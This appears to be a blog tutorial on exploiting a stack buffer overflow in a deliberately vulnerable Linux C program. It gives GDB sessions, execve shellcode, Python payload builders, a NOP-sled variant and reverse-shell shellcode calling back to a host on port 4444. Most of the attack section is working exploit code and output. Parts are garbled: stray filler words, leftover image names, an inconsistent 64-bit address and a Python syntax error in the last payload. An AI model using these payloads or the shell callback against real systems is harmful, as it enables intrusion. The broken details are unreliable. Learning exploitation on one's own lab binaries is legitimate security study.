Thilan Dissanayaka Exploit development May 11

Exploiting a Stack Buffer Overflow on Linux

Buffer overflow vulnerabilities are one of the most common yet deadly flaws in software security. They can be leveraged by attackers to gain control over a system, run arbitrary code, and escalate privileges. In this post, we’ll walk through how a stack-based buffer overflow works by exploiting a vulnerable C program, analyzing it using GDB (GNU Debugger), and ultimately injecting shellcode for execution.

Let’s dive into the details!

The Vulnerable Program: A Simple C Code

The first step in our exploit is to create a vulnerable program that we can attack. The C code below is deliberately written to contain a buffer overflow vulnerability:

#include <stdio.h>
#include <string.h>

void vulnerable()
{
    char buffer[64];
    gets(buffer);
    puts(buffer);
}

int main()
{
    vulnerable();
    return 0;
}

Key Points:

  • The gets() function reads user input into the buffer. However, it does not check the length of input, making it easy to overflow the buffer if we input more than 64 characters.

  • The puts() function is used afterward to print the contents of the buffer, which will reflect whatever data was written into it.

Compiling the Program with Vulnerabilities

To ensure that the program is vulnerable and exploitable, we compile it with specific flags that disable certain protections:

gcc -fno-stack-protector -z execstack  stack.c -o stack -g -m32

Flags explained:

  • -fno-stack-protector → Disable stack canaries (protection).
  • -z execstack → Make the stack executable (needed for shellcode).
  • -no-pie → Disable Position Independent Executable (makes fixed addresses).
  • -g → Includes debugging symbols for easier analysis with GDB. -m32 → Compile the program i 32 bit mode.

This makes our binaries vulnerable on purpose!

Exploit Attempt: Overflowing the Buffer

After compiling the program, we run it:

thilan@ubuntu:~$ ./stack
hello world!
hello world!

If we input 64 As (which exactly matches the size of the buffer), the program behaves as expected: However, when we input more than 64 characters, the program segfaults due to the buffer overflow:

thilan@ubuntu:~$ ./stack
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Lets analyze the Bad boy in GDB

Now, we need to analyze how the stack is organized to successfully overwrite the return address and inject shellcode. We launch the program inside GDB for debugging:

thilan@ubuntu:~$ gdb -q ./stack
Reading symbols from ./stack...done.
(gdb) disass main
Dump of assembler code for function main:
   0x0804846b <+0>: push   ebp
   0x0804846c <+1>: mov    ebp,esp
   0x0804846e <+3>: and    esp,0xfffffff0
   0x08048471 <+6>: call   0x804844d <vulnerable>
   0x08048476 <+11>:    mov    eax,0x0
   0x0804847b <+16>:    leave
   0x0804847c <+17>:    ret
End of assembler dump.
(gdb)

Here, we can see the assembly code for the main() function. Our goal is to examine where the buffer is allocated and how it interacts with the return address.

(gdb) disass vulnerable
Dump of assembler code for function vulnerable:
   0x0804844d <+0>: push   ebp
   0x0804844e <+1>: mov    ebp,esp
   0x08048450 <+3>: sub    esp,0x58
   0x08048453 <+6>: lea    eax,[ebp-0x48]
   0x08048456 <+9>: mov    DWORD PTR [esp],eax
   0x08048459 <+12>:    call   0x8048310 <gets@plt>
   0x0804845e <+17>:    lea    eax,[ebp-0x48]
   0x08048461 <+20>:    mov    DWORD PTR [esp],eax
   0x08048464 <+23>:    call   0x8048320 <puts@plt>
   0x08048469 <+28>:    leave
   0x0804846a <+29>:    ret
End of assembler dump.

This reveals the vulnerable() function’s assembly code. The key line is the one that handles the stack frame:

   0x08048450 <+3>: sub    esp,0x58

This means the program allocates 88 bytes for the buffer, with an additional space for saved registers. So, if we input more than 64 characters, we overflow into the saved return address of the function.

   0x08048453 <+6>: lea    eax,[ebp-0x48]
   0x08048456 <+9>: mov    DWORD PTR [esp],eax
   0x08048459 <+12>:    call   0x8048310 <gets@plt>
(gdb) b *0x08048459
Breakpoint 1 at 0x8048459: file stack.c, line 6.

(gdb) b *0x0804846a
Breakpoint 2 at 0x804846a: file stack.c, line 8.
(gdb) r
Starting program: /home/thilan/stack

Breakpoint 1, 0x08048459 in vulnerable () at stack.c:6
6       gets(buffer);
(gdb) i r ebp eip esp
ebp            0xffffd6b8   0xffffd6b8
eip            0x8048459    0x8048459 <vulnerable+12>
esp            0xffffd660   0xffffd660
(gdb) x/24wx $ebp - 0x48
0xffffd670: 0xffffffff  0xffffd69e  0xf7e20c34  0xf7e46fe3
0xffffd680: 0x0000004d  0x002c307d  0x00000001  0x080482d9
0xffffd690: 0xffffd897  0x0000002f  0x0804a000  0x080484d2
0xffffd6a0: 0x00000001  0xffffd764  0xffffd76c  0xf7e4719d
0xffffd6b0: 0xf7fbe3c4  0xf7ffd000  0xffffd6c8  0x08048476
0xffffd6c0: 0x08048480  0x00000000  0x00000000  0xf7e2dad3
thilan@macbook:~$ python3 -c "print('A' * 100)"
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, 0x0804846a in vulnerable () at stack.c:8
8   }
(gdb) i r ebp eip esp
ebp            0x41414141   0x41414141
eip            0x804846a    0x804846a <vulnerable+29>
esp            0xffffd6bc   0xffffd6bc
(gdb) x/24wx 0xffffd670
0xffffd670: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd680: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd690: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6c0: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) i r eip
eip            0x804846a    0x804846a <vulnerable+29>
(gdb) ni
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141   0x41414141

https://wiremask.eu/tools/buffer-overflow-pattern-generator/?

(gdb) c
Continuing.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Breakpoint 2, 0x000000000040059e in vulnerable () at stack.c:9
9   }
(gdb) i r ebp
ebp            0x41346341   0x41346341

ry5z6p9cabb87aozocep.png

r8p9elnws6b7jtfmam20.png

(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD

Breakpoint 2, 0x0804846a in vulnerable () at stack.c:8
8   }

vwqnqguxkdrmrhouufhh.png

(gdb) i r ebp eip esp
ebp            0x42424242   0x42424242
eip            0x804846a    0x804846a <vulnerable+29>
esp            0xffffd6bc   0xffffd6bc
(gdb) x/24wx $ebp - 0x48
0x424241fa: Cannot access memory at address 0x424241fa
(gdb) x/24wx 0xffffd670
0xffffd670: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd680: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd690: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6b0: 0x41414141  0x41414141  0x42424242  0x43434343
0xffffd6c0: 0x44444444  0x00000000  0x00000000  0xf7e2dad3
(gdb) i r eip
eip            0x804846a    0x804846a <vulnerable+29>
(gdb) ni
0x43434343 in ?? ()
(gdb) i r eip
eip            0x43434343   0x43434343

https://shell-storm.org/shellcode/files/shellcode-775.html

x31,xc9,xf7,xe1,xb0,x0b,x51,x68,x2f,x2f,
x73,x68,x68,x2f,x62,x69,x6e,x89,xe3,xcd,x80

znoquynhtiv4yd0ejuix.png

[ Shellcode 21 bytes ][ 72 - 21 Padding bytes ][ EBP  4 bytes ] [ EIP 4 bytes ]

In this case our total payload will be 80 bytes long. I wanted to highlight something here. Lets say the target address to jump is 0xffffd670. That was the starting address of the string.

How should we put this address?

ff ff d6 70

[ Shellcode 21 bytes ][ 72 - 21 Padding bytes ][ EBP  4 bytes ] [ ff ff d6 70 ]

If we put the memory address like this it will not work. That is due to the little endianness of the Intel architecture. (I have put some space within bytes to just clearly see them separately. That is not the issue )

Little endian notation

[ 0xff ][ 0xff ][ 0xd6 ][ 0x70 ]

That’s big-endian order — most significant byte first.

But Intel x86 uses little-endian, meaning:

The least significant byte comes first.

So memory actually expects it as:

[ 0x70 ][ 0xd6 ][ 0xff ][ 0xff ]

Crafting an Exploit

shellcode = (
    b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" 
    b"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" 
    b"\x80"
)

#jump_address = 0 x ff ff d6 70

payload = shellcode + b"A" * 51 + b"B" * 4 + b"\x70\xd6\xff\xff"

#payload = b"\x90" * 24  + shellcode + b"A" * 51 + b"B" * 4 + b"\x70\xd6\xff\xff"

with open("payload", "wb") as f:
    f.write(payload)
(gdb) run < payload
Starting program: /home/thilan/stack < payload
1���
    Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp���

Breakpoint 1, 0x0804846a in vulnerable () at stack.c:8
8   }
(gdb) x/24wx 0xffffd670
0xffffd670: 0xe1f7c931  0x68510bb0  0x68732f2f  0x69622f68
0xffffd680: 0xcde3896e  0x41414180  0x41414141  0x41414141
0xffffd690: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6b0: 0x41414141  0x41414141  0x42424242  0xffffd670
0xffffd6c0: 0x08048400  0x00000000  0x00000000  0xf7e2dad3
(gdb) c
Continuing.
process 1938 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x804846a
(gdb) d
Delete all breakpoints? (y or n) y
(gdb) run < payload
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/dash < payload
/bin/dash: 1: 1���
                  Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp���: not found
[Inferior 1 (process 1943) exited with code 0177]
thilan@ubuntu:~$ (cat payload; cat) | ./stack

1���
    Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp���

Illegal instruction
thilan@ubuntu:~$ ulimit -c unlimited
thilan@ubuntu:~$ cat payload | ./stack
1���
    Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp���
Illegal instruction (core dumped)
thilan@ubuntu:~$ ls
core  exploit.py  payload  shellcode  shellcode.c  stack  stack.c

thilan@ubuntu:~$ gdb ./stack core -q
Reading symbols from ./stack...done.
[New LWP 1992]
Core was generated by `./stack'.
Program terminated with signal SIGILL, Illegal instruction.
#0  0xffffd673 in ?? ()
(gdb) x/24wx 0xffffd670
0xffffd670: 0xf7fbeac0  0x0000000a  0x00000050  0xf7e13700
0xffffd680: 0xffffd6f8  0xf7ff0660  0xf7fbf8a4  0xf7fbe000
0xffffd690: 0x00000000  0x00000000  0xffffd6f8  0x08048469
0xffffd6a0: 0xffffd6b0  0x00000000  0x000000c2  0xf7eaa100
0xffffd6b0: 0xe1f7c931  0x68510bb0  0x68732f2f  0x69622f68
0xffffd6c0: 0xcde3896e  0x41414180  0x41414141  0x41414141
(gdb) x/40wx 0xffffd670
0xffffd670: 0xf7fbeac0  0x0000000a  0x00000050  0xf7e13700
0xffffd680: 0xffffd6f8  0xf7ff0660  0xf7fbf8a4  0xf7fbe000
0xffffd690: 0x00000000  0x00000000  0xffffd6f8  0x08048469
0xffffd6a0: 0xffffd6b0  0x00000000  0x000000c2  0xf7eaa100
0xffffd6b0: 0xe1f7c931  0x68510bb0  0x68732f2f  0x69622f68
0xffffd6c0: 0xcde3896e  0x41414180  0x41414141  0x41414141
0xffffd6d0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6e0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6f0: 0x41414141  0x41414141  0x42424242  0xffffd670
0xffffd700: 0x08048400  0x00000000  0x00000000  0xf7e2dad3

change the target address from 0xffffd670 to 0xffffd6b0 and re run the exploit.

thilan@ubuntu:~$ (cat payload; cat) | ./stack
ls
1���
    Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����ls

ls
core  exploit.py  payload  shellcode  shellcode.c  stack  stack.c
whoami
thilan
uname -a
Linux ubuntu 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Sliding through a NOP sled

xn9dlmi0fydqspsgrwmo.png

shellcode = (
    b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" 
    b"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" 
    b"\x80"
)

#jump_address = 0 x ff ff d6 c0

payload = b"\x90" * 36  + shellcode + b"A" * 15 + b"B" * 4 +  b"\xc0\xd6\xff\xff"

with open("payload", "wb") as f:
    f.write(payload)

fswfsdf

Enough local shells, We need a remote Shell

https://shell-storm.org/shellcode/files/shellcode-833.html

knllx2mbzkitfkkezmnj.png

shellcode = (
    b"\x68"
    b"\xc0\xa8\x40\x01"      # IP Address : 192.168.64.1
    b"\x5e\x66\x68"
    b"\x11\x5c"                   # Port : 4444
    b"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
    b"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
    b"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
    b"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
    b"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    b"\xeb\xce";
)

#jump_address = 0 x ff ff d7 10

payload =  b"A" * 72 + b"B" * 4 +  b"\x10\xd7\xff\xff" + b"\x90" * 36  + shellcode

with open("payload", "wb") as f:
    f.write(payload)

sdfsd

gqihv9z9abr5vvna3am7.png

f

ALSO READ
Penetration Testing - Interview preparation guide
Jan 06 Interview Guides

# Fundamentals of Penetration Testing ## What is penetration testing? Penetration testing, or ethical hacking, involves simulating cyberattacks on systems, networks, or applications to identify....

Docker - Interview preparation guide
May 08 Interview Guides

## What is Docker and why is it used? Docker is a platform for developing, shipping, and running applications in containers. Containers package an application with its dependencies, ensuring....

Factory Pattern explained simply
Apr 26 Software Architecture

# Factory Pattern Imagine you want to create objects — but you don't want to expose the creation logic to the client and instead ask a factory class to **create objects for you**. That's....

Building a Web3 CLI Tool for the Ballerina Language: From Idea to Reality
Apr 26 WSO2

🚀 Excited to finally share my journey of building a web3 CLI tool for Ballerina! This tool bridges the gap between Ethereum smart contracts and the Ballerina programming language by automatically....

Singleton Pattern explained simply
Apr 26 Software Architecture

Ever needed just one instance of a class in your application? Maybe a logger, a database connection, or a configuration manager? This is where the Singleton Pattern comes in — one of the simplest....

Observer Pattern explained simply
Apr 26 Software Architecture

When one object needs to notify many other objects about changes in its state **automatically**, the **Observer Pattern** steps in. ## What is the Observer Pattern? - Defines a....